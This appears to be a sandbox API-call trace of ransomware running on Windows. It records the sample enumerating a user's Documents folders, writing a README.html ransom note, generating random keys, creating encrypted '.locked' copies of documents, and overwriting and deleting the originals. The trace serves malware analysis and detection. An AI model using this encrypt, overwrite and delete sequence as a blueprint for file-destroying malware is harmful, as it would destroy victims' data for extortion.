	[0072.344] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\rO8WWC0nut8--lGMs4lz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\ro8wwc0nut8--lgms4lz.ppt")) returned 1
	[0072.363] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.363] SetEvent (hEvent=0xa8) returned 1
	[0072.363] SetEvent (hEvent=0xb4) returned 1
	[0072.367] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.368] SetEvent (hEvent=0xb4) returned 1
	[0072.368] SetEvent (hEvent=0x80) returned 1
	[0072.368] SetEvent (hEvent=0x8c) returned 1
	[0072.368] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.368] SetEvent (hEvent=0x8c) returned 1
	[0072.370] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.370] SetEvent (hEvent=0x8c) returned 1
	[0072.370] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.370] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.371] SetEvent (hEvent=0x8c) returned 1
	[0072.371] SetEvent (hEvent=0x80) returned 1
	[0072.371] SetEvent (hEvent=0xb4) returned 1
	[0072.371] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.371] SetEvent (hEvent=0xb4) returned 1
	[0072.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\rO8WWC0nut8--lGMs4lz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\ro8wwc0nut8--lgms4lz.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.372] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0072.372] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.388] CloseHandle (hObject=0xc0) returned 1
	[0072.396] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\rO8WWC0nut8--lGMs4lz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\ro8wwc0nut8--lgms4lz.ppt")) returned 1
	[0072.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92bfcce0, ftCreationTime.dwHighDateTime=0x1d4d171, ftLastAccessTime.dwLowDateTime=0x4833a9f0, ftLastAccessTime.dwHighDateTime=0x1d4d1dd, ftLastWriteTime.dwLowDateTime=0x4833a9f0, ftLastWriteTime.dwHighDateTime=0x1d4d1dd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0072.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0072.405] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92bfcce0, ftCreationTime.dwHighDateTime=0x1d4d171, ftLastAccessTime.dwLowDateTime=0x4833a9f0, ftLastAccessTime.dwHighDateTime=0x1d4d1dd, ftLastWriteTime.dwLowDateTime=0x4833a9f0, ftLastWriteTime.dwHighDateTime=0x1d4d1dd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0072.406] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92bfcce0, ftCreationTime.dwHighDateTime=0x1d4d171, ftLastAccessTime.dwLowDateTime=0x4833a9f0, ftLastAccessTime.dwHighDateTime=0x1d4d1dd, ftLastWriteTime.dwLowDateTime=0x4833a9f0, ftLastWriteTime.dwHighDateTime=0x1d4d1dd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.406] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x688fe4d0, ftCreationTime.dwHighDateTime=0x1d4cfe8, ftLastAccessTime.dwLowDateTime=0x48bf7db0, ftLastAccessTime.dwHighDateTime=0x1d4d276, ftLastWriteTime.dwLowDateTime=0x48bf7db0, ftLastWriteTime.dwHighDateTime=0x1d4d276, nFileSizeHigh=0x0, nFileSizeLow=0x11e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="6iZpuv3BJu3uhtMtnn8j.rtf", cAlternateFileName="6IZPUV~1.RTF")) returned 1
	[0072.406] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b5cbd0, ftCreationTime.dwHighDateTime=0x1d4cd64, ftLastAccessTime.dwLowDateTime=0x2185d320, ftLastAccessTime.dwHighDateTime=0x1d4cc77, ftLastWriteTime.dwLowDateTime=0x2185d320, ftLastWriteTime.dwHighDateTime=0x1d4cc77, nFileSizeHigh=0x0, nFileSizeLow=0xdd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="hcX2.ppt", cAlternateFileName="")) returned 1
	[0072.406] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0072.406] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0072.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.406] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0072.407] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0072.407] CloseHandle (hObject=0xc0) returned 1
	[0072.408] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12508000*, nNumberOfCharsToWrite=0x5c, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x12508000*, lpNumberOfCharsWritten=0x127ee84c*=0x5c) returned 1
	[0072.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\6iZpuv3BJu3uhtMtnn8j.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\6izpuv3bju3uhtmtnn8j.rtf"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x688fe4d0, ftCreationTime.dwHighDateTime=0x1d4cfe8, ftLastAccessTime.dwLowDateTime=0x48bf7db0, ftLastAccessTime.dwHighDateTime=0x1d4d276, ftLastWriteTime.dwLowDateTime=0x48bf7db0, ftLastWriteTime.dwHighDateTime=0x1d4d276, nFileSizeHigh=0x0, nFileSizeLow=0x11e88)) returned 1
	[0072.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\6iZpuv3BJu3uhtMtnn8j.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\6izpuv3bju3uhtmtnn8j.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.410] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\6iZpuv3BJu3uhtMtnn8j.rtf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\6izpuv3bju3uhtmtnn8j.rtf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0072.412] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.412] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c420 | out: pbBuffer=0x1238c420) returned 1
	[0072.412] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796330 | out: pbBuffer=0x12796330) returned 1
	[0072.412] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0072.412] WriteFile (in: hFile=0xc4, lpBuffer=0x123e7000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e7000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0072.415] SetEvent (hEvent=0x80) returned 1
	[0072.415] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x11e88, lpOverlapped=0x0) returned 1
	[0072.417] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x11e88, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x11e88, lpOverlapped=0x0) returned 1
	[0072.418] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0072.418] CloseHandle (hObject=0xc4) returned 1
	[0072.419] CloseHandle (hObject=0xc0) returned 1
	[0072.420] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.420] SetEvent (hEvent=0x80) returned 1
	[0072.420] SetEvent (hEvent=0xb4) returned 1
	[0072.420] SetEvent (hEvent=0x8c) returned 1
	[0072.420] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.421] SetEvent (hEvent=0xa8) returned 1
	[0072.421] SetEvent (hEvent=0x8c) returned 1
	[0072.421] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12508000*, nNumberOfCharsToWrite=0x5f, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12508000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5f) returned 1
	[0072.422] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\6iZpuv3BJu3uhtMtnn8j.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\6izpuv3bju3uhtmtnn8j.rtf")) returned 1
	[0072.440] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.441] SetEvent (hEvent=0xa8) returned 1
	[0072.441] SetEvent (hEvent=0xb4) returned 1
	[0072.445] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.446] SetEvent (hEvent=0xb4) returned 1
	[0072.446] SetEvent (hEvent=0x8c) returned 1
	[0072.446] SetEvent (hEvent=0x80) returned 1
	[0072.446] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.446] SetEvent (hEvent=0x80) returned 1
	[0072.448] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.448] SetEvent (hEvent=0x80) returned 1
	[0072.448] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.449] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.449] SetEvent (hEvent=0x80) returned 1
	[0072.449] SetEvent (hEvent=0x8c) returned 1
	[0072.449] SetEvent (hEvent=0xb4) returned 1
	[0072.449] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.449] SetEvent (hEvent=0xb4) returned 1
	[0072.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\6iZpuv3BJu3uhtMtnn8j.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\6izpuv3bju3uhtmtnn8j.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.450] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0072.450] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.466] CloseHandle (hObject=0xc0) returned 1
	[0072.655] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\6iZpuv3BJu3uhtMtnn8j.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\6izpuv3bju3uhtmtnn8j.rtf")) returned 1
	[0072.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\hcX2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\hcx2.ppt"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b5cbd0, ftCreationTime.dwHighDateTime=0x1d4cd64, ftLastAccessTime.dwLowDateTime=0x2185d320, ftLastAccessTime.dwHighDateTime=0x1d4cc77, ftLastWriteTime.dwLowDateTime=0x2185d320, ftLastWriteTime.dwHighDateTime=0x1d4cc77, nFileSizeHigh=0x0, nFileSizeLow=0xdd58)) returned 1
	[0072.664] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\hcX2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\hcx2.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.664] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\hcX2.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\hcx2.ppt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0072.701] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.737] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0072.737] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796200 | out: pbBuffer=0x12796200) returned 1
	[0072.738] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0072.738] WriteFile (in: hFile=0xc4, lpBuffer=0x1240f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1240f000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0072.740] SetEvent (hEvent=0x8c) returned 1
	[0072.740] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xdd58, lpOverlapped=0x0) returned 1
	[0072.742] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xdd58, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xdd58, lpOverlapped=0x0) returned 1
	[0072.743] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0072.743] CloseHandle (hObject=0xc4) returned 1
	[0072.744] CloseHandle (hObject=0xc0) returned 1
	[0072.744] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0072.752] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.753] SetEvent (hEvent=0x8c) returned 1
	[0072.753] SetEvent (hEvent=0xb4) returned 1
	[0072.753] SetEvent (hEvent=0x80) returned 1
	[0072.753] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.777] SetEvent (hEvent=0xa8) returned 1
	[0072.777] SetEvent (hEvent=0x80) returned 1
	[0072.778] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee7d8*=0x4f) returned 1
	[0072.779] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\hcX2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\hcx2.ppt")) returned 1
	[0072.797] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.797] SetEvent (hEvent=0xa8) returned 1
	[0072.797] SetEvent (hEvent=0xb4) returned 1
	[0072.802] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0072.802] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.802] SetEvent (hEvent=0xb4) returned 1
	[0072.802] SetEvent (hEvent=0x80) returned 1
	[0072.802] SetEvent (hEvent=0x8c) returned 1
	[0072.802] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.803] SetEvent (hEvent=0x8c) returned 1
	[0072.804] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.805] SetEvent (hEvent=0xa8) returned 1
	[0072.805] SetEvent (hEvent=0x8c) returned 1
	[0072.805] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.805] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.805] SetEvent (hEvent=0x8c) returned 1
	[0072.805] SetEvent (hEvent=0x80) returned 1
	[0072.805] SetEvent (hEvent=0xb4) returned 1
	[0072.806] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.806] SetEvent (hEvent=0xb4) returned 1
	[0072.806] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\hcX2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\hcx2.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.807] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0072.807] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.823] CloseHandle (hObject=0xc0) returned 1
	[0072.832] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\L90N\\hcX2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\l90n\\hcx2.ppt")) returned 1
	[0072.841] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\WloOH6tcGBIwPp.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\wlooh6tcgbiwpp.odt"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb10a3f0, ftCreationTime.dwHighDateTime=0x1d4d427, ftLastAccessTime.dwLowDateTime=0x7744e5c0, ftLastAccessTime.dwHighDateTime=0x1d4d1a5, ftLastWriteTime.dwLowDateTime=0x7744e5c0, ftLastWriteTime.dwHighDateTime=0x1d4d1a5, nFileSizeHigh=0x0, nFileSizeLow=0x13683)) returned 1
	[0072.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\WloOH6tcGBIwPp.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\wlooh6tcgbiwpp.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.841] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0072.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\WloOH6tcGBIwPp.odt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\wlooh6tcgbiwpp.odt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0072.842] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0072.842] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0072.842] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796200 | out: pbBuffer=0x12796200) returned 1
	[0072.842] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0072.842] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0072.844] SetEvent (hEvent=0x80) returned 1
	[0072.845] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x13683, lpOverlapped=0x0) returned 1
	[0072.847] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x13683, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x13683, lpOverlapped=0x0) returned 1
	[0072.848] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0072.848] CloseHandle (hObject=0xc4) returned 1
	[0072.849] CloseHandle (hObject=0xc0) returned 1
	[0072.850] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.850] SetEvent (hEvent=0x80) returned 1
	[0072.850] SetEvent (hEvent=0xb4) returned 1
	[0072.850] SetEvent (hEvent=0x8c) returned 1
	[0072.850] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.851] SetEvent (hEvent=0xa8) returned 1
	[0072.851] SetEvent (hEvent=0x8c) returned 1
